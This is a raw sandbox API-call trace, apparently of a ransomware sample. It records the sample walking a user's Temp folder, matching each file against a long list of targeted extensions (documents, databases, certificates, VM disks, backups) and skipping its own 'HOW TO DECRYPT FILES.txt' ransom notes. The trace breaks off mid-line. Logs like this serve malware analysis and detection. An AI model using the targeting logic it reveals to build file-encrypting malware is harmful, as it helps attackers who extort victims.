0 [0086.468] lstrlenA (lpString="*.p12") returned 5 [0086.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.gpg") returned 0 [0086.468] lstrlenA (lpString="*.gpg") returned 5 [0086.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.vsd") returned 0 [0086.469] lstrlenA (lpString="*.vsd") returned 5 [0086.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.odg") returned 0 [0086.469] lstrlenA (lpString="*.odg") returned 5 [0086.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.raw") returned 0 [0086.469] lstrlenA (lpString="*.raw") returned 5 [0086.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.nef") returned 0 [0086.469] lstrlenA (lpString="*.nef") returned 5 [0086.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.svg") returned 0 [0086.469] lstrlenA (lpString="*.svg") returned 5 [0086.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.psd") returned 0 [0086.469] lstrlenA (lpString="*.psd") returned 5 [0086.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.vmx") returned 0 [0086.469] lstrlenA (lpString="*.vmx") returned 5 [0086.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.vmdk") returned 0 [0086.469] lstrlenA (lpString="*.vmdk") returned 6 [0086.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.vdi") returned 0 [0086.469] lstrlenA (lpString="*.vdi") returned 5 [0086.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.lay6") returned 0 [0086.469] lstrlenA (lpString="*.lay6") returned 6 [0086.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.mpeg") returned 0 [0086.469] lstrlenA (lpString="*.mpeg") returned 6 [0086.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.djvu") returned 0 [0086.469] lstrlenA (lpString="*.djvu") returned 6 [0086.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.tiff") returned 0 [0086.469] lstrlenA (lpString="*.tiff") returned 6 [0086.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.backup") returned 0 [0086.469] lstrlenA (lpString="*.backup") returned 8 [0086.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.pdf") returned 0 [0086.470] lstrlenA (lpString="*.pdf") returned 5 [0086.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.cert") returned 0 [0086.470] lstrlenA (lpString="*.cert") returned 6 [0086.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.docm") returned 0 [0086.470] lstrlenA (lpString="*.docm") returned 6 [0086.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.xlsm") returned 0 [0086.470] lstrlenA (lpString="*.xlsm") returned 6 [0086.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.dwg") returned 0 [0086.470] lstrlenA (lpString="*.dwg") returned 5 [0086.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.nd") returned 0 [0086.470] lstrlenA (lpString="*.nd") returned 4 [0086.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.tlg") returned 0 [0086.470] lstrlenA (lpString="*.tlg") returned 5 [0086.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.lgb") returned 0 [0086.470] lstrlenA (lpString="*.lgb") returned 5 [0086.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.mov") returned 0 [0086.470] lstrlenA (lpString="*.mov") returned 5 [0086.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.xdw") returned 0 [0086.470] lstrlenA (lpString="*.xdw") returned 5 [0086.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.ods") returned 0 [0086.470] lstrlenA (lpString="*.ods") returned 5 [0086.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.wav") returned 0 [0086.470] lstrlenA (lpString="*.wav") returned 5 [0086.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.mp3") returned 0 [0086.470] lstrlenA (lpString="*.mp3") returned 5 [0086.471] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.aiff") returned 0 [0086.471] lstrlenA (lpString="*.aiff") returned 6 [0086.471] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.flac") returned 0 [0086.471] lstrlenA (lpString="*.flac") returned 6 [0086.471] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.m4a") returned 0 [0086.471] lstrlenA (lpString="*.m4a") returned 5 [0086.471] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.csv") returned 0 [0086.471] lstrlenA (lpString="*.csv") returned 5 [0086.471] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a0318e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x6a0318e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xb20126a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeARM.log", cAlternateFileName="")) returned 1 [0086.471] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.471] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeARM.log") returned 1 [0086.471] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeARM.log") returned 1 [0086.471] lstrcmpiA (lpString1="", lpString2="AdobeARM.log") returned -1 [0086.471] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv") returned="8SHML5f4R.flv" [0086.471] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.471] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.471] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.471] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.471] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="AdobeARM.log" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log" [0086.471] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.ems") returned 0 [0086.471] lstrlenA (lpString="*.ems") returned 5 [0086.471] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.db") returned 0 [0086.471] lstrlenA (lpString="*.db") returned 4 [0086.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.dbf") returned 0 [0086.472] lstrlenA (lpString="*.dbf") returned 5 [0086.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.myox") returned 0 [0086.472] lstrlenA (lpString="*.myox") returned 6 [0086.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.myo") returned 0 [0086.472] lstrlenA (lpString="*.myo") returned 5 [0086.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.qbw") returned 0 [0086.472] lstrlenA (lpString="*.qbw") returned 5 [0086.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.qbb") returned 0 [0086.472] lstrlenA (lpString="*.qbb") returned 5 [0086.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.qbm") returned 0 [0086.472] lstrlenA (lpString="*.qbm") returned 5 [0086.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.qbo") returned 0 [0086.472] lstrlenA (lpString="*.qbo") returned 5 [0086.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.qbx") returned 0 [0086.472] lstrlenA (lpString="*.qbx") returned 5 [0086.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.qba") returned 0 [0086.472] lstrlenA (lpString="*.qba") returned 5 [0086.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.qby") returned 0 [0086.472] lstrlenA (lpString="*.qby") returned 5 [0086.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.qbj") returned 0 [0086.472] lstrlenA (lpString="*.qbj") returned 5 [0086.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.ofx") returned 0 [0086.472] lstrlenA (lpString="*.ofx") returned 5 [0086.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.qif") returned 0 [0086.472] lstrlenA (lpString="*.qif") returned 5 [0086.473] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.mye") returned 0 [0086.473] lstrlenA (lpString="*.mye") returned 5 [0086.473] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.mbox") returned 0 [0086.473] lstrlenA (lpString="*.mbox") returned 6 [0086.473] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.eml") returned 0 [0086.473] lstrlenA (lpString="*.eml") returned 5 [0086.473] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.pst") returned 0 [0086.473] lstrlenA (lpString="*.pst") returned 5 [0086.473] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.ost") returned 0 [0086.473] lstrlenA (lpString="*.ost") returned 5 [0086.473] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.idx") returned 0 [0086.473] lstrlenA (lpString="*.idx") returned 5 [0086.473] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.dbx") returned 0 [0086.473] lstrlenA (lpString="*.dbx") returned 5 [0086.473] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.sql") returned 0 [0086.473] lstrlenA (lpString="*.sql") returned 5 [0086.473] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.mdb") returned 0 [0086.473] lstrlenA (lpString="*.mdb") returned 5 [0086.473] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.fdb") returned 0 [0086.473] lstrlenA (lpString="*.fdb") returned 5 [0086.473] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.wab") returned 0 [0086.473] lstrlenA (lpString="*.wab") returned 5 [0086.473] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.dat") returned 0 [0086.473] lstrlenA (lpString="*.dat") returned 5 [0086.473] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.txt") returned 0 [0086.473] lstrlenA (lpString="*.txt") returned 5 [0086.473] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.jpeg") returned 0 [0086.473] lstrlenA (lpString="*.jpeg") returned 6 [0086.474] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.jpg") returned 0 [0086.474] lstrlenA (lpString="*.jpg") returned 5 [0086.474] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.png") returned 0 [0086.474] lstrlenA (lpString="*.png") returned 5 [0086.474] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.php") returned 0 [0086.474] lstrlenA (lpString="*.php") returned 5 [0086.474] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.cs") returned 0 [0086.474] lstrlenA (lpString="*.cs") returned 4 [0086.474] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.cpp") returned 0 [0086.474] lstrlenA (lpString="*.cpp") returned 5 [0086.474] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.rar") returned 0 [0086.474] lstrlenA (lpString="*.rar") returned 5 [0086.474] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.zip") returned 0 [0086.474] lstrlenA (lpString="*.zip") returned 5 [0086.474] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.html") returned 0 [0086.474] lstrlenA (lpString="*.html") returned 6 [0086.474] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.htm") returned 0 [0086.474] lstrlenA (lpString="*.htm") returned 5 [0086.474] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.xlsx") returned 0 [0086.474] lstrlenA (lpString="*.xlsx") returned 6 [0086.474] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.xls") returned 0 [0086.474] lstrlenA (lpString="*.xls") returned 5 [0086.474] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.mp4") returned 0 [0086.474] lstrlenA (lpString="*.mp4") returned 5 [0086.474] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.ppt") returned 0 [0086.474] lstrlenA (lpString="*.ppt") returned 5 [0086.474] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.pptx") returned 0 [0086.474] lstrlenA (lpString="*.pptx") returned 6 [0086.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.doc") returned 0 [0086.475] lstrlenA (lpString="*.doc") returned 5 [0086.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.dot") returned 0 [0086.475] lstrlenA (lpString="*.dot") returned 5 [0086.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.docx") returned 0 [0086.475] lstrlenA (lpString="*.docx") returned 6 [0086.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.7z") returned 0 [0086.475] lstrlenA (lpString="*.7z") returned 4 [0086.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.tar") returned 0 [0086.475] lstrlenA (lpString="*.tar") returned 5 [0086.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.bz2") returned 0 [0086.475] lstrlenA (lpString="*.bz2") returned 5 [0086.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.gz") returned 0 [0086.475] lstrlenA (lpString="*.gz") returned 4 [0086.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.mkv") returned 0 [0086.475] lstrlenA (lpString="*.mkv") returned 5 [0086.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.eml") returned 0 [0086.475] lstrlenA (lpString="*.eml") returned 5 [0086.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.msg") returned 0 [0086.475] lstrlenA (lpString="*.msg") returned 5 [0086.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.edb") returned 0 [0086.475] lstrlenA (lpString="*.edb") returned 5 [0086.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.accdb") returned 0 [0086.475] lstrlenA (lpString="*.accdb") returned 7 [0086.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.odb") returned 0 [0086.475] lstrlenA (lpString="*.odb") returned 5 [0086.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.java") returned 0 [0086.475] lstrlenA (lpString="*.java") returned 6 [0086.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.asm") returned 0 [0086.476] lstrlenA (lpString="*.asm") returned 5 [0086.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.pfx") returned 0 [0086.476] lstrlenA (lpString="*.pfx") returned 5 [0086.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.pem") returned 0 [0086.476] lstrlenA (lpString="*.pem") returned 5 [0086.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.p12") returned 0 [0086.476] lstrlenA (lpString="*.p12") returned 5 [0086.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.gpg") returned 0 [0086.476] lstrlenA (lpString="*.gpg") returned 5 [0086.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.vsd") returned 0 [0086.476] lstrlenA (lpString="*.vsd") returned 5 [0086.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.odg") returned 0 [0086.476] lstrlenA (lpString="*.odg") returned 5 [0086.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.raw") returned 0 [0086.476] lstrlenA (lpString="*.raw") returned 5 [0086.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.nef") returned 0 [0086.476] lstrlenA (lpString="*.nef") returned 5 [0086.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.svg") returned 0 [0086.476] lstrlenA (lpString="*.svg") returned 5 [0086.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.psd") returned 0 [0086.476] lstrlenA (lpString="*.psd") returned 5 [0086.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.vmx") returned 0 [0086.476] lstrlenA (lpString="*.vmx") returned 5 [0086.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.vmdk") returned 0 [0086.476] lstrlenA (lpString="*.vmdk") returned 6 [0086.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.vdi") returned 0 [0086.477] lstrlenA (lpString="*.vdi") returned 5 [0086.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.lay6") returned 0 [0086.477] lstrlenA (lpString="*.lay6") returned 6 [0086.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.mpeg") returned 0 [0086.477] lstrlenA (lpString="*.mpeg") returned 6 [0086.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.djvu") returned 0 [0086.477] lstrlenA (lpString="*.djvu") returned 6 [0086.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.tiff") returned 0 [0086.477] lstrlenA (lpString="*.tiff") returned 6 [0086.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.backup") returned 0 [0086.477] lstrlenA (lpString="*.backup") returned 8 [0086.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.pdf") returned 0 [0086.477] lstrlenA (lpString="*.pdf") returned 5 [0086.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.cert") returned 0 [0086.477] lstrlenA (lpString="*.cert") returned 6 [0086.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.docm") returned 0 [0086.477] lstrlenA (lpString="*.docm") returned 6 [0086.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.xlsm") returned 0 [0086.477] lstrlenA (lpString="*.xlsm") returned 6 [0086.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.dwg") returned 0 [0086.477] lstrlenA (lpString="*.dwg") returned 5 [0086.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.nd") returned 0 [0086.477] lstrlenA (lpString="*.nd") returned 4 [0086.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.tlg") returned 0 [0086.477] lstrlenA (lpString="*.tlg") returned 